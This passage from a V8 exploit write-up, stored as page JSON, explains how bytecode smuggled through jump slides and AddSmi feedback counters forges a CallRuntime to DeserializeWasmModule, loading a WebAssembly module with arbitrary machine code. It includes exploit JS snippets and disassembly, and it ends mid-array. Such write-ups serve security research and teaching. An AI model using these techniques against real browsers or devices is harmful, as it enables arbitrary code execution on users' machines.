",{"type":21,"tag":194,"props":132996,"children":132998},{"className":132997},[],[132999],{"type":27,"value":133000},"Star.ExtraWide rX",{"type":27,"value":133002}," instructions.",{"type":21,"tag":30,"props":133004,"children":133005},{},[133006,133008,133014],{"type":27,"value":133007},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":21,"tag":194,"props":133009,"children":133011},{"className":133010},[],[133012],{"type":27,"value":133013},"0x8931111",{"type":27,"value":185},{"type":21,"tag":187,"props":133016,"children":133018},{"code":133017,"language":191,"meta":7,"className":189,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[133019],{"type":21,"tag":194,"props":133020,"children":133021},{"__ignoreMap":7},[133022,133047,133071,133095,133119,133143,133167],{"type":21,"tag":198,"props":133023,"children":133024},{"class":200,"line":201},[133025,133029,133034,133038,133043],{"type":21,"tag":198,"props":133026,"children":133027},{"style":249},[133028],{"type":27,"value":12597},{"type":21,"tag":198,"props":133030,"children":133031},{"style":226},[133032],{"type":27,"value":133033}," a206",{"type":21,"tag":198,"props":133035,"children":133036},{"style":683},[133037],{"type":27,"value":979},{"type":21,"tag":198,"props":133039,"children":133040},{"style":2540},[133041],{"type":27,"value":133042}," 0x8931111",{"type":21,"tag":198,"props":133044,"children":133045},{"style":211},[133046],{"type":27,"value":1483},{"type":21,"tag":198,"props":133048,"children":133049},{"class":200,"line":217},[133050,133054,133059,133063,133067],{"type":21,"tag":198,"props":133051,"children":133052},{"style":249},[133053],{"type":27,"value":12597},{"type":21,"tag":198,"props":133055,"children":133056},{"style":226},[133057],{"type":27,"value":133058}," a207",{"type":21,"tag":198,"props":133060,"children":133061},{"style":683},[133062],{"type":27,"value":979},{"type":21,"tag":198,"props":133064,"children":133065},{"style":2540},[133066],{"type":27,"value":133042},{"type":21,"tag":198,"props":133068,"children":133069},{"style":211},[133070],{"type":27,"value":1483},{"type":21,"tag":198,"props":133072,"children":133073},{"class":200,"line":236},[133074,133078,133083,133087,133091],{"type":21,"tag":198,"props":133075,"children":133076},{"style":249},[133077],{"type":27,"value":12597},{"type":21,"tag":198,"props":133079,"children":133080},{"style":226},[133081],{"type":27,"value":133082}," a208",{"type":21,"tag":198,"props":133084,"children":133085},{"style":683},[133086],{"type":27,"value":979},{"type":21,"tag":198,"props":133088,"children":133089},{"style":2540},[133090],{"type":27,"value":133042},{"type":21,"tag":198,"props":133092,"children":133093},{"style":211},[133094],{"type":27,"value":1483},{"type":21,"tag":198,"props":133096,"children":133097},{"class":200,"line":260},[133098,133102,133107,133111,133115],{"type":21,"tag":198,"props":133099,"children":133100},{"style":249},[133101],{"type":27,"value":12597},{"type":21,"tag":198,"props":133103,"children":133104},{"style":226},[133105],{"type":27,"value":133106}," a209",{"type":21,"tag":198,"props":133108,"children":133109},{"style":683},[133110],{"type":27,"value":979},{"type":21,"tag":198,"props":133112,"children":133113},{"style":2540},[133114],{"type":27,"value":133042},{"type":21,"tag":198,"props":133116,"children":133117},{"style":211},[133118],{"type":27,"value":1483},{"type":21,"tag":198,"props":133120,"children":133121},{"class":200,"line":281},[133122,133126,133131,133135,133139],{"type":21,"tag":198,"props":133123,"children":133124},{"style":249},[133125],{"type":27,"value":12597},{"type":21,"tag":198,"props":133127,"children":133128},{"style":226},[133129],{"type":27,"value":133130}," a210",{"type":21,"tag":198,"props":133132,"children":133133},{"style":683},[133134],{"type":27,"value":979},{"type":21,"tag":198,"props":133136,"children":133137},{"style":2540},[133138],{"type":27,"value":133042},{"type":21,"tag":198,"props":133140,"children":133141},{"style":211},[133142],{"type":27,"value":1483},{"type":21,"tag":198,"props":133144,"children":133145},{"class":200,"line":302},[133146,133150,133155,133159,133163],{"type":21,"tag":198,"props":133147,"children":133148},{"style":249},[133149],{"type":27,"value":12597},{"type":21,"tag":198,"props":133151,"children":133152},{"style":226},[133153],{"type":27,"value":133154}," a211",{"type":21,"tag":198,"props":133156,"children":133157},{"style":683},[133158],{"type":27,"value":979},{"type":21,"tag":198,"props":133160,"children":133161},{"style":2540},[133162],{"type":27,"value":133042},{"type":21,"tag":198,"props":133164,"children":133165},{"style":211},[133166],{"type":27,"value":1483},{"type":21,"tag":198,"props":133168,"children":133169},{"class":200,"line":323},[133170,133174,133179,133183,133187],{"type":21,"tag":198,"props":133171,"children":133172},{"style":249},[133173],{"type":27,"value":12597},{"type":21,"tag":198,"props":133175,"children":133176},{"style":226},[133177],{"type":27,"value":133178}," a212",{"type":21,"tag":198,"props":133180,"children":133181},{"style":683},[133182],{"type":27,"value":979},{"type":21,"tag":198,"props":133184,"children":133185},{"style":2540},[133186],{"type":27,"value":133042},{"type":21,"tag":198,"props":133188,"children":133189},{"style":211},[133190],{"type":27,"value":1483},{"type":21,"tag":30,"props":133192,"children":133193},{},[133194],{"type":27,"value":133195},"Those instructions result in:",{"type":21,"tag":187,"props":133197,"children":133199},{"code":133198},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[133200],{"type":21,"tag":194,"props":133201,"children":133202},{"__ignoreMap":7},[133203],{"type":27,"value":133198},{"type":21,"tag":30,"props":133205,"children":133206},{},[133207,133209,133215,133217,133221],{"type":27,"value":133208},"(The offset of ",{"type":21,"tag":194,"props":133210,"children":133212},{"className":133211},[],[133213],{"type":27,"value":133214},"Jump",{"type":27,"value":133216}," instructions is added to the ",{"type":21,"tag":1671,"props":133218,"children":133219},{},[133220],{"type":27,"value":71471},{"type":27,"value":133222}," of the instruction.)",{"type":21,"tag":30,"props":133224,"children":133225},{},[133226,133228,133234],{"type":27,"value":133227},"Now, 3 out of the 6 bytes in a ",{"type":21,"tag":194,"props":133229,"children":133231},{"className":133230},[],[133232],{"type":27,"value":133233},"LdaSmi.ExtraWide",{"type":27,"value":133235}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":21,"tag":59,"props":133237,"children":133239},{"id":133238},"exploit-goal",[133240],{"type":27,"value":133241},"Exploit Goal",{"type":21,"tag":30,"props":133243,"children":133244},{},[133245,133247,133253,133254,133260],{"type":27,"value":133246},"Initially we considered using ",{"type":21,"tag":194,"props":133248,"children":133250},{"className":133249},[],[133251],{"type":27,"value":133252},"Star",{"type":27,"value":2232},{"type":21,"tag":194,"props":133255,"children":133257},{"className":133256},[],[133258],{"type":27,"value":133259},"Ldar",{"type":27,"value":133261}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":21,"tag":30,"props":133263,"children":133264},{},[133265,133267,133274],{"type":27,"value":133266},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":21,"tag":34,"props":133268,"children":133271},{"href":133269,"rel":133270},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[38],[133272],{"type":27,"value":133273},"stack pivot and ROP",{"type":27,"value":133275},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":21,"tag":30,"props":133277,"children":133278},{},[133279],{"type":27,"value":133280},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":21,"tag":30,"props":133282,"children":133283},{},[133284],{"type":27,"value":133285},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":21,"tag":30,"props":133287,"children":133288},{},[133289,133291,133297,133299,133305,133307,133313],{"type":27,"value":133290},"At this point, we identified an interesting opcode: ",{"type":21,"tag":194,"props":133292,"children":133294},{"className":133293},[],[133295],{"type":27,"value":133296},"CallRuntime",{"type":27,"value":133298},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":21,"tag":194,"props":133300,"children":133302},{"className":133301},[],[133303],{"type":27,"value":133304},"--allow-natives-syntax",{"type":27,"value":133306}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":21,"tag":194,"props":133308,"children":133310},{"className":133309},[],[133311],{"type":27,"value":133312},"DeserializeWasmModule",{"type":27,"value":658},{"type":21,"tag":30,"props":133315,"children":133316},{},[133317,133319,133326,133327,133332,133333,133339,133341,133348],{"type":27,"value":133318},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":21,"tag":34,"props":133320,"children":133323},{"href":133321,"rel":133322},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[38],[133324],{"type":27,"value":133325},"JIT-compiled functions",{"type":27,"value":19331},{"type":21,"tag":194,"props":133328,"children":133330},{"className":133329},[],[133331],{"type":27,"value":133312},{"type":27,"value":2232},{"type":21,"tag":194,"props":133334,"children":133336},{"className":133335},[],[133337],{"type":27,"value":133338},"SerializeWasmModule",{"type":27,"value":133340}," themselves are only used from test functions, and indeed have been ",{"type":21,"tag":34,"props":133342,"children":133345},{"href":133343,"rel":133344},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[38],[133346],{"type":27,"value":133347},"removed",{"type":27,"value":133349}," from recent production V8 builds due to how abusable this functionality is.",{"type":21,"tag":30,"props":133351,"children":133352},{},[133353,133355,133361,133363,133369,133371,133376,133378,133384,133386,133391,133392,133397,133398,133403,133405,133411,133413,133417],{"type":27,"value":133354},"However, calling this opcode represented a significant challenge:\n",{"type":21,"tag":194,"props":133356,"children":133358},{"className":133357},[],[133359],{"type":27,"value":133360},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":27,"value":133362},"\nWhere ",{"type":21,"tag":194,"props":133364,"children":133366},{"className":133365},[],[133367],{"type":27,"value":133368},"func-id",{"type":27,"value":133370}," is a 2-byte function ID, ",{"type":21,"tag":194,"props":133372,"children":133374},{"className":133373},[],[133375],{"type":27,"value":38986},{"type":27,"value":133377}," is the index of the last register passed and ",{"type":21,"tag":194,"props":133379,"children":133381},{"className":133380},[],[133382],{"type":27,"value":133383},"argc",{"type":27,"value":133385}," is the number of arguments passed (e.g. passing ",{"type":21,"tag":194,"props":133387,"children":133389},{"className":133388},[],[133390],{"type":27,"value":45138},{"type":27,"value":828},{"type":21,"tag":194,"props":133393,"children":133395},{"className":133394},[],[133396],{"type":27,"value":45281},{"type":27,"value":11801},{"type":21,"tag":194,"props":133399,"children":133401},{"className":133400},[],[133402],{"type":27,"value":45264},{"type":27,"value":133404}," would be encoded as ",{"type":21,"tag":194,"props":133406,"children":133408},{"className":133407},[],[133409],{"type":27,"value":133410},"\u003Cr2> \u003C3>",{"type":27,"value":133412},").\nThis requires ",{"type":21,"tag":1671,"props":133414,"children":133415},{},[133416],{"type":27,"value":18911},{"type":27,"value":133418}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":21,"tag":59,"props":133420,"children":133422},{"id":133421},"better-bytecode-control",[133423],{"type":27,"value":133424},"Better Bytecode Control",{"type":21,"tag":30,"props":133426,"children":133427},{},[133428,133430,133437,133439,133445],{"type":27,"value":133429},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":21,"tag":34,"props":133431,"children":133434},{"href":133432,"rel":133433},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[38],[133435],{"type":27,"value":133436},"feedback vector slot",{"type":27,"value":133438},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":21,"tag":194,"props":133440,"children":133442},{"className":133441},[],[133443],{"type":27,"value":133444},"AddSmi",{"type":27,"value":133446}," instruction, it represents the number of operations performed on the target value so far.",{"type":21,"tag":30,"props":133448,"children":133449},{},[133450],{"type":27,"value":133451},"For example, we can look at the below Ignition disassembly:",{"type":21,"tag":187,"props":133453,"children":133455},{"code":133454},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[133456],{"type":21,"tag":194,"props":133457,"children":133458},{"__ignoreMap":7},[133459],{"type":27,"value":133454},{"type":21,"tag":30,"props":133461,"children":133462},{},[133463,133465,133471],{"type":27,"value":133464},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":21,"tag":194,"props":133466,"children":133468},{"className":133467},[],[133469],{"type":27,"value":133470},"AddSmi.ExtraWide",{"type":27,"value":133472},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":21,"tag":30,"props":133474,"children":133475},{},[133476],{"type":27,"value":133477},"Eventually, we can reach a stage like this:",{"type":21,"tag":187,"props":133479,"children":133481},{"code":133480},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[133482],{"type":21,"tag":194,"props":133483,"children":133484},{"__ignoreMap":7},[133485],{"type":27,"value":133480},{"type":21,"tag":30,"props":133487,"children":133488},{},[133489],{"type":27,"value":133490},"If you skip the first two bytes, you have",{"type":21,"tag":138,"props":133492,"children":133493},{},[133494,133525],{"type":21,"tag":75,"props":133495,"children":133496},{},[133497,133502,133504,133509,133511,133517,133519],{"type":21,"tag":194,"props":133498,"children":133500},{"className":133499},[],[133501],{"type":27,"value":133296},{"type":27,"value":133503}," (0x6c) to ",{"type":21,"tag":194,"props":133505,"children":133507},{"className":133506},[],[133508],{"type":27,"value":133312},{"type":27,"value":133510}," (0x0266) starting from register ",{"type":21,"tag":194,"props":133512,"children":133514},{"className":133513},[],[133515],{"type":27,"value":133516},"a2",{"type":27,"value":133518}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":21,"tag":194,"props":133520,"children":133522},{"className":133521},[],[133523],{"type":27,"value":133524},"DeserializeWasmModule(a2, a1)",{"type":21,"tag":75,"props":133526,"children":133527},{},[133528],{"type":27,"value":133529},"a Jump instruction",{"type":21,"tag":59,"props":133531,"children":133533},{"id":133532},"returning-back-to-js",[133534],{"type":27,"value":133535},"Returning Back to JS",{"type":21,"tag":30,"props":133537,"children":133538},{},[133539,133541,133547],{"type":27,"value":133540},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":21,"tag":194,"props":133542,"children":133544},{"className":133543},[],[133545],{"type":27,"value":133546},"yield",{"type":27,"value":133548}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":21,"tag":30,"props":133550,"children":133551},{},[133552],{"type":27,"value":133553},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":21,"tag":187,"props":133555,"children":133557},{"code":133556,"language":191,"meta":7,"className":189,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[133558],{"type":21,"tag":194,"props":133559,"children":133560},{"__ignoreMap":7},[133561,133572,133620,133641,133657,133680,133708,133725],{"type":21,"tag":198,"props":133562,"children":133563},{"class":200,"line":201},[133564,133568],{"type":21,"tag":198,"props":133565,"children":133566},{"style":640},[133567],{"type":27,"value":1414},{"type":21,"tag":198,"props":133569,"children":133570},{"style":211},[133571],{"type":27,"value":233},{"type":21,"tag":198,"props":133573,"children":133574},{"class":200,"line":217},[133575,133580,133584,133589,133593,133598,133602,133607,133611,133615],{"type":21,"tag":198,"props":133576,"children":133577},{"style":226},[133578],{"type":27,"value":133579}," $",{"type":21,"tag":198,"props":133581,"children":133582},{"style":211},[133583],{"type":27,"value":77000},{"type":21,"tag":198,"props":133585,"children":133586},{"style":205},[133587],{"type":27,"value":133588},"'a1 + 0xa931111;'",{"type":21,"tag":198,"props":133590,"children":133591},{"style":211},[133592],{"type":27,"value":658},{"type":21,"tag":198,"props":133594,"children":133595},{"style":698},[133596],{"type":27,"value":133597},"repeat",{"type":21,"tag":198,"props":133599,"children":133600},{"style":211},[133601],{"type":27,"value":706},{"type":21,"tag":198,"props":133603,"children":133604},{"style":2540},[133605],{"type":27,"value":133606},"0x059302",{"type":21,"tag":198,"props":133608,"children":133609},{"style":683},[133610],{"type":27,"value":51631},{"type":21,"tag":198,"props":133612,"children":133613},{"style":2540},[133614],{"type":27,"value":5335},{"type":21,"tag":198,"props":133616,"children":133617},{"style":211},[133618],{"type":27,"value":133619},")}\n",{"type":21,"tag":198,"props":133621,"children":133622},{"class":200,"line":236},[133623,133628,133632,133637],{"type":21,"tag":198,"props":133624,"children":133625},{"style":226},[133626],{"type":27,"value":133627}," a1",{"type":21,"tag":198,"props":133629,"children":133630},{"style":683},[133631],{"type":27,"value":1440},{"type":21,"tag":198,"props":133633,"children":133634},{"style":2540},[133635],{"type":27,"value":133636}," 0x0402666c",{"type":21,"tag":198,"props":133638,"children":133639},{"style":211},[133640],{"type":27,"value":1483},{"type":21,"tag":198,"props":133642,"children":133643},{"class":200,"line":260},[133644,133648,133653],{"type":21,"tag":198,"props":133645,"children":133646},{"style":640},[133647],{"type":27,"value":35976},{"type":21,"tag":198,"props":133649,"children":133650},{"style":2540},[133651],{"type":27,"value":133652}," 0x393e91a",{"type":21,"tag":198,"props":133654,"children":133655},{"style":211},[133656],{"type":27,"value":1483},{"type":21,"tag":198,"props":133658,"children":133659},{"class":200,"line":281},[133660,133664,133668,133672,133676],{"type":21,"tag":198,"props":133661,"children":133662},{"style":211},[133663],{"type":27,"value":1270},{"type":21,"tag":198,"props":133665,"children":133666},{"style":640},[133667],{"type":27,"value":1498},{"type":21,"tag":198,"props":133669,"children":133670},{"style":211},[133671],{"type":27,"value":648},{"type":21,"tag":198,"props":133673,"children":133674},{"style":226},[133675],{"type":27,"value":51830},{"type":21,"tag":198,"props":133677,"children":133678},{"style":211},[133679],{"type":27,"value":668},{"type":21,"tag":198,"props":133681,"children":133682},{"class":200,"line":302},[133683,133687,133691,133695,133699,133704],{"type":21,"tag":198,"props":133684,"children":133685},{"style":226},[133686],{"type":27,"value":102326},{"type":21,"tag":198,"props":133688,"children":133689},{"style":211},[133690],{"type":27,"value":658},{"type":21,"tag":198,"props":133692,"children":133693},{"style":698},[133694],{"type":27,"value":102335},{"type":21,"tag":198,"props":133696,"children":133697},{"style":211},[133698],{"type":27,"value":706},{"type":21,"tag":198,"props":133700,"children":133701},{"style":205},[133702],{"type":27,"value":133703},"\"foo\"",{"type":21,"tag":198,"props":133705,"children":133706},{"style":211},[133707],{"type":27,"value":1470},{"type":21,"tag":198,"props":133709,"children":133710},{"class":200,"line":323},[133711,133716,133721],{"type":21,"tag":198,"props":133712,"children":133713},{"style":640},[133714],{"type":27,"value":133715}," yield",{"type":21,"tag":198,"props":133717,"children":133718},{"style":226},[133719],{"type":27,"value":133720}," a16",{"type":21,"tag":198,"props":133722,"children":133723},{"style":211},[133724],{"type":27,"value":1483},{"type":21,"tag":198,"props":133726,"children":133727},{"class":200,"line":344},[133728],{"type":21,"tag":198,"props":133729,"children":133730},{"style":211},[133731],{"type":27,"value":1120},{"type":21,"tag":30,"props":133733,"children":133734},{},[133735,133737],{"type":27,"value":133736},"Starting from the final ",{"type":21,"tag":194,"props":133738,"children":133740},{"className":133739},[],[133741],{"type":27,"value":133444},{"type":21,"tag":187,"props":133743,"children":133745},{"code":133744}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[133746],{"type":21,"tag":194,"props":133747,"children":133748},{"__ignoreMap":7},[133749],{"type":27,"value":133744},{"type":21,"tag":30,"props":133751,"children":133752},{},[133753,133755,133760,133762,133768],{"type":27,"value":133754},"The smuggled jump in ",{"type":21,"tag":194,"props":133756,"children":133758},{"className":133757},[],[133759],{"type":27,"value":133444},{"type":27,"value":133761}," will redirect us to ",{"type":21,"tag":194,"props":133763,"children":133765},{"className":133764},[],[133766],{"type":27,"value":133767},"1a e9 93 03",{"type":27,"value":133769},", which results in:",{"type":21,"tag":138,"props":133771,"children":133772},{},[133773,133784],{"type":21,"tag":75,"props":133774,"children":133775},{},[133776,133782],{"type":21,"tag":194,"props":133777,"children":133779},{"className":133778},[],[133780],{"type":27,"value":133781},"Star r16",{"type":27,"value":133783}," (store accumulator to r16)",{"type":21,"tag":75,"props":133785,"children":133786},{},[133787,133792],{"type":21,"tag":194,"props":133788,"children":133790},{"className":133789},[],[133791],{"type":27,"value":133214},{"type":27,"value":133793}," past the throw into the catch relevant code",{"type":21,"tag":30,"props":133795,"children":133796},{},[133797,133799,133805],{"type":27,"value":133798},"This will bring us nicely to the final ",{"type":21,"tag":194,"props":133800,"children":133802},{"className":133801},[],[133803],{"type":27,"value":133804},"yield a16",{"type":27,"value":133806},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":21,"tag":59,"props":133808,"children":133810},{"id":133809},"executing-shellcode",[133811],{"type":27,"value":133812},"Executing Shellcode",{"type":21,"tag":30,"props":133814,"children":133815},{},[133816],{"type":27,"value":133817},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":21,"tag":187,"props":133819,"children":133821},{"code":133820,"language":36389,"meta":7,"className":36387,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[133822],{"type":21,"tag":194,"props":133823,"children":133824},{"__ignoreMap":7},[133825,133855,134082,134150,134157,134202,134248,134288,134295,134319,134356,134392],{"type":21,"tag":198,"props":133826,"children":133827},{"class":200,"line":201},[133828,133832,133837,133841,133845,133850],{"type":21,"tag":198,"props":133829,"children":133830},{"style":249},[133831],{"type":27,"value":35822},{"type":21,"tag":198,"props":133833,"children":133834},{"style":226},[133835],{"type":27,"value":133836}," wasm_code",{"type":21,"tag":198,"props":133838,"children":133839},{"style":683},[133840],{"type":27,"value":979},{"type":21,"tag":198,"props":133842,"children":133843},{"style":249},[133844],{"type":27,"value":737},{"type":21,"tag":198,"props":133846,"children":133847},{"style":698},[133848],{"type":27,"value":133849}," Uint8Array",{"type":21,"tag":198,"props":133851,"children":133852},{"style":211},[133853],{"type":27,"value":133854},"([\n",{"type":21,"tag":198,"props":133856,"children":133857},{"class":200,"line":217},[133858,133863,133867,133872,133876,133881,133885,133890,133894,133898,133902,133906,133910,133914,133918,133922,133926,133930,133934,133938,133942,133946,133950,133955,133959,133963,133967,133971,133975,133979,133983,133987,133991,133995,133999,134003,134007,134011,134015,134019,134023,134027,134031,134035,134039,134043,134047,134052,134056,134061,134065,134070,134074,134078],{"type":21,"tag":198,"props":133859,"children":133860},{"style":2540},[133861],{"type":27,"value":133862}," 0",{"type":21,"tag":198,"props":133864,"children":133865},{"style":211},[133866],{"type":27,"value":828},{"type":21,"tag":198,"props":133868,"children":133869},{"style":2540},[133870],{"type":27,"value":133871},"97",{"type":21,"tag":198,"props":133873,"children":133874},{"style":211},[133875],{"type":27,"value":828},{"type":21,"tag":198,"props":133877,"children":133878},{"style":2540},[133879],{"type":27,"value":133880},"115",{"type":21,"tag":198,"props":133882,"children":133883},{"style":211},[133884],{"type":27,"value":828},{"type":21,"tag":198,"props":133886,"children":133887},{"style":2540},[133888],{"type":27,"value":133889},"109",{"type":21,"tag":198,"props":133891,"children":133892},{"style":211},[133893],{"type":27,"value":828},{"type":21,"tag":198,"props":133895,"children":133896},{"style":2540},[133897],{"type":27,"value":134},{"type":21,"tag":198,"props":133899,"children":133900},{"style":211},[133901],{"type":27,"value":828},{"type":21,"tag":198,"props":133903,"children":133904},{"style":2540},[133905],{"type":27,"value":3482},{"type":21,"tag":198,"props":133907,"children":133908},{"style":211},[133909],{"type":27,"value":828},{"type":21,"tag":198,"props":133911,"children":133912},{"style":2540},[133913],{"type":27,"value":3482},{"type":21,"tag":198,"props":133915,"children":133916},{"style":211},[133917],{"type":27,"value":828},{"type":21,"tag":198,"props":133919,"children":133920},{"style":2540},[133921],{"type":27,"value":3482},{"type":21,"tag":198,"props":133923,"children":133924},{"style":211},[133925],{"type":27,"value":828},{"type":21,"tag":198,"props":133927,"children":133928},{"style":2540},[133929],{"type":27,"value":134},{"type":21,"tag":198,"props":133931,"children":133932},{"style":211},[133933],{"type":27,"value":828},{"type":21,"tag":198,"props":133935,"children":133936},{"style":2540},[133937],{"type":27,"value":18330},{"type":21,"tag":198,"props":133939,"children":133940},{"style":211},[133941],{"type":27,"value":828},{"type":21,"tag":198,"props":133943,"children":133944},{"style":2540},[133945],{"type":27,"value":134},{"type":21,"tag":198,"props":133947,"children":133948},{"style":211},[133949],{"type":27,"value":828},{"type":21,"tag":198,"props":133951,"children":133952},{"style":2540},[133953],{"type":27,"value":133954},"96",{"type":21,"tag":198,"props":133956,"children":133957},{"style":211},[133958],{"type":27,"value":828},{"type":21,"tag":198,"props":133960,"children":133961},{"style":2540},[133962],{"type":27,"value":3482},{"type":21,"tag":198,"props":133964,"children":133965},{"style":211},[133966],{"type":27,"value":828},{"type":21,"tag":198,"props":133968,"children":133969},{"style":2540},[133970],{"type":27,"value":3482},{"type":21,"tag":198,"props":133972,"children":133973},{"style":211},[133974],{"type":27,"value":828},{"type":21,"tag":198,"props":133976,"children":133977},{"style":2540},[133978],{"type":27,"value":18097},{"type":21,"tag":198,"props":133980,"children":133981},{"style":211},[133982],{"type":27,"value":828},{"type":21,"tag":198,"props":133984,"children":133985},{"style":2540},[133986],{"type":27,"value":3931},{"type":21,"tag":198,"props":133988,"children":133989},{"style":211},[133990],{"type":27,"value":828},{"type":21,"tag":198,"props":133992,"children":133993},{"style":2540},[133994],{"type":27,"value":134},{"type":21,"tag":198,"props":133996,"children":133997},{"style":211},[133998],{"type":27,"value":828},{"type":21,"tag":198,"props":134000,"children":134001},{"style":2540},[134002],{"type":27,"value":3482},{"type":21,"tag":198,"props":134004,"children":134005},{"style":211},[134006],{"type":27,"value":828},{"type":21,"tag":198,"props":134008,"children":134009},{"style":2540},[134010],{"type":27,"value":55047},{"type":21,"tag":198,"props":134012,"children":134013},{"style":211},[134014],{"type":27,"value":828},{"type":21,"tag":198,"props":134016,"children":134017},{"style":2540},[134018],{"type":27,"value":56262},{"type":21,"tag":198,"props":134020,"children":134021},{"style":211},[134022],{"type":27,"value":828},{"type":21,"tag":198,"props":134024,"children":134025},{"style":2540},[134026],{"type":27,"value":134},{"type":21,"tag":198,"props":134028,"children":134029},{"style":211},[134030],{"type":27,"value":828},{"type":21,"tag":198,"props":134032,"children":134033},{"style":2540},[134034],{"type":27,"value":18911},{"type":21,"tag":198,"props":134036,"children":134037},{"style":211},[134038],{"type":27,"value":828},{"type":21,"tag":198,"props":134040,"children":134041},{"style":2540},[134042],{"type":27,"value":133880},{"type":21,"tag":198,"props":134044,"children":134045},{"style":211},[134046],{"type":27,"value":828},{"type":21,"tag":198,"props":134048,"children":134049},{"style":2540},[134050],{"type":27,"value":134051},"104",{"type":21,"tag":198,"props":134053,"children":134054},{"style":211},[134055],{"type":27,"value":828},{"type":21,"tag":198,"props":134057,"children":134058},{"style":2540},[134059],{"type":27,"value":134060},"101",{"type":21,"tag":198,"props":134062,"children":134063},{"style":211},[134064],{"type":27,"value":828},{"type":21,"tag":198,"props":134066,"children":134067},{"style":2540},[134068],{"type":27,"value":134069},"108",{"type":21,"tag":198,"props":134071,"children":134072},{"style":211},[134073],{"type":27,"value":828},{"type":21,"tag":198,"props":134075,"children":134076},{"style":2540},[134077],{"type":27,"value":134069},{"type":21,"tag":198,"props":134079,"children":134080},{"style":211},[134081],{"type":27,"value":257},{"type":21,"tag":198,"props":134083,"children":134084},{"class":200,"line":236},[134085,134089,134093,134097,134101,134105,134109,134113,134117,134121,134125,134129,134133,134137,134141,134146],{"type":21,"tag":198,"props":134086,"children":134087},{"style":2540},[134088],{"type":27,"value":133862},{"type":21,"tag":198,"props":134090,"children":134091},{"style":211},[134092],{"type":27,"value":828},{"type":21,"tag":198,"props":134094,"children":134095},{"style":2540},[134096],{"type":27,"value":3482},{"type":21,"tag":198,"props":134098,"children":134099},{"style":211},[134100],{"type":27,"value":828},{"type":21,"tag":198,"props":134102,"children":134103},{"style":2540},[134104],{"type":27,"value":89635},{"type":21,"tag":198,"props":134106,"children":134107},{"style":211},[134108],{"type":27,"value":828},{"type":21,"tag":198,"p